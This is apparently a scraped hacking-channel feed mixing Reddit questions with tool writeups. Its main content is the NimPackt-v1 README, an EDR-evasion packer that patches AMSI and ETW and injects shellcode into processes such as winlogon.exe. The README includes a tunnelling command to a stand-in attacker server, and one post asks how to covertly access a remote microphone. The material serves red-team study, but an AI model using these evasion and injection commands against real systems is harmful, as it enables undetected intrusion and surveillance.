CVE-2021–4034
https://medium.com/@reconshell.com/cve-2021-4034-bd72d4aecfa2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

CVE-2021–4034 Local privilege escalationContinue reading on Medium » (https://medium.com/@reconshell.com/cve-2021-4034-bd72d4aecfa2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Understanding the difference

Can anyone explain to me the difference between auxiliary modules and exploits ? They both seem to do the same for me. I can't understand the difference.

submitted by /u/JeppNeb
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Privilege Escalation methodologies??

I've done a lot of CTFs and I'd always do the foothold part in my team but I was thinking about looking into priv esc. So I tried doing an easy level box on vulnhub all by myself. Got a user shell in first 15 mins but i blanked out on the escalation part.

I tried using linpeas but it's too fussy and regardless tried checking the files and folders it points out. Still nothing.

What's the best way to or let's say a traditional method to look for loopholes and escalate privileges? Or what parameters should you look for (eg. The current Linux distro or version) ? And what should you know prior to priv esc except a Linux CLI?

submitted by /u/h4cks1n
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why is my compiler generating so much crap?

Hi, Not sure if this is the right sub but trying my shot here, as r/ReverseEngineering doesn't allow text posts.

I am a beginner in reverse engineering and I'm using VS to compile C/cpp and then open the exes in ghidra to learn from my code.

The problem I'm encountering is that it seems the compiler adds a shitton of library functions, mostly related to C runtime such as __scrt_acquire_startup_lock, __scrt_is_ucrt_dll_in_use and more. Over 99% of the resulting code is just bullcrap, not to mention it really messes up the analysis workflow, making it much harder to find my main() from the entry point method.

Now, I've seen a lot of reverse challenges in the past and didn't encounter this. How do I go about compiling code that is readable via disassesmbly?

Thanks :)

submitted by /u/Altiverses
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Restricted mode on a school laptop

So my school gave me a laptop and it is restricted by an administrator, anyone know how to disable it? Thanks

submitted by /u/Admirable_Scholar163
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Build a SOC LAB

Hey guys!

I have a project where i need to build a LAB for a SOC (security operation center) with infra as code (vagrant) and then launch some attacks on it and investigate their behavior's with Splunk.

So i would like from peoples that already worked or have expérience in this, if you Can recommand some good ressources that will help me see some examples of SOC architectures that i Can deploy and some interesting attacks to investigate.

Cheers

submitted by /u/Adel_Maestro
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Remote access microphone. Windows 10. Full domain access.

Hi, I would like to access a remote pc microphone, the pc is running windows 10 and I have full domain elevations. Any ideas ? ( without any software installed on the target machine )

submitted by /u/morcove
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

NimPackt-v1 - Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit
http://www.kitploit.com/2022/04/nimpackt-v1-nim-based-assembly-packer.html

___________________________
@hacking_Attack
@Hacking_Video

By Cas van Cooten (@chvancooten (https://twitter.com/chvancooten)) With special thanks to Marcello Salvati (@byt3bl33der (https://twitter.com/byt3bl33d3r)) and Fabian Mosch (@S3cur3Th1sSh1t (https://twitter.com/ShitSecure)) Description Update: NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed 'NimPackt-NG' (currently still private). With this re-write, I decided to open-source the old branch ("NimPackt-v1"). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course :) NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods: Execute-Assembly re-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW. Shinject takes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR. Currently, NimPackt has the following features. Uses static syscalls to patch execute to evade EDR Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dll using ShellyCoat (https://github.com/slaeryan/AQUARMOURY/tree/master/Shellycoat) Patches Event Tracing for Windows (ETW) Patches the Anti-Malware Scan Interface (AMSI) AES-encrypts payload with random key to prevent static analysis (https://www.kitploit.com/search/label/Static%20Analysis) or fingerprinting Compiles to exe or dll Supports cross-platform compilation (from both Linux and Windows) Integrates with CobaltStrike (https://www.kitploit.com/search/label/CobaltStrike) for ezpz payload generation (https://www.kitploit.com/search/label/Payload%20Generation)  A great source for C#-based binaries for offensive tooling can be found here (https://github.com/Flangvik/SharpCollection). It is highly recommended to compile the C# binaries yourself. Even though embedded binaries (https://www.kitploit.com/search/label/Embedded%20Binaries) are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection.
Installation If you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads! On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries. pycryptodome argparse nimble install winim nimcrypto">sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
On Windows, execute the Nim installer from here (https://nim-lang.org/install_windows.html). Make sure to install mingw and set the path values correctly using the provided finish.exe utility. If you don't have Python3 install that, then install the required packages as follows. nimble install winim nimcrypto
pip3 install pycryptodome argparse
Docker The Docker image chvancooten/nimbuild (https://hub.docker.com/r/chvancooten/nimbuild) can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container. To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows. docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin CobaltStrike Plugin To install the CobaltStrike plugin, select Cobalt Strike -> Script Manager from the menu bar, and select Load. Make sure to load the .cna file from it's original location, otherwise it won't be able

___________________________
@hacking_Attack
@Hacking_Video

to find the NimPackt script files!

___________________________
@hacking_Attack
@Hacking_Video

Usage usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]

required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)

other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
Examples: # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thre ad through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL

___________________________
@hacking_Attack
@Hacking_Video

python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns Binaries are stored in the output subfolder of your installation directory. Generated dll files can be executed as follows (entry point can be changed in the Nim template): rundll32 exampleShinjectNimPackt.dll,IconSrv

Download NimPackt-v1 (https://github.com/chvancooten/NimPackt-v1)

___________________________
@hacking_Attack
@Hacking_Video

Up to 100k GitHub credentials leaked...
https://www.reddit.com/r/redteamsec/comments/u1xz1q/up_to_100k_github_credentials_leaked/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.notgitbleed.com/) [comments] (https://www.reddit.com/r/redteamsec/comments/u1xz1q/up_to_100k_github_credentials_leaked/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
WSVuls : Website Vulnerability Scanner Detect Issues

WSVuls is a simple and powerful command line tool for Linux, Windows and macOS. It’s designed for developers/testers and for those workers in IT who want to test vulnerabilities and analyses website from a single command. It detects issues outdated software version, insecures HTTP headers, the long and useless requests

Why WSVuls ?

WSVuls can extract the following data while crawling:

Cloudflare

* IP Address
* Ports
* Hex Headers
* Protocol Version

Stats

* First Byte
* Start Render
* FCP
* Speed Index
* LCP
* CLS
* TBT
* DC Time
* DC Requests
* DC Bytes
* Time
* Requests
* Total Bytes

Mapper

* Resource
* Request Start
* Content Type
* DNS Lookup
* SSL Negotiation
* Error/Status Code

Docker

WSVuls can be launched using docker

Build Image

$ git clone https://github.com/anouarbensaad/wsvuls
$ cd wsvuls
$ docker build -t wsvuls:latest .

Run a WSVuls container with interactive mode

$ docker run -it –name wsvuls wsvuls:latest -u facebook.com

Usage

Scan, Detect and get stats for a specific url
Examples:
To get stats from target url:
$ wsvuls stats -u facebook.com
To get map all requests:
$ wsvuls stats -u facebook.com –mapper
To detect a right ip address from cloudflare firewall:
$ wsvuls cloud -d facebook.com
by default use-proxy to bypass the limit rate.
Available Commands:
stats Get statistics of target website.
cloud Get the right data from cloudflare.
Flags:
-h, –help help for wsvuls
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ASSAMEE : Free Advance Encryptor For Anon Cloud

ASSAMEE is a free Advance encryptor for Anonfiles. It uses an advanced encryption method to encrypt the directory with AES-256. The data will store on anonfiles.com in an encrypted format. The ASSAMEE requires a download ID to download and decrypt the data from Anonfiles. Downloading encrypted data directly from anon files via a browser will not work.

ASSAMEE Required Packages.

* Zip
* Curl
* openssl
* jq

The above-required files need to install with the PKG installer option in ASSAMEE console.

Operating System

ASSAMEE Works perfectly on the operating system listed below.

* MacOs Big sur v11.6.4
* Kali 2.0 and above
* Parrot Linux
* Ubuntu

Anonfiles API Key

Get Your API_KEY from https://anonfiles.com/register

* First, register yourself, and you will get 100GB of storage.
* Login to Anonfiles and grab your API key from here
* Open ASSAMEE.sh with your favorite text editor and paste the API Key in the Anon_key variable.

Usage

git clone https://github.com/samhaxr/ASSAMEE
cd ASSAMEE
chmod +x ASSAMEE.sh
sh ASSAMEE.sh
Download

___________________________
@hacking_Attack
@Hacking_Video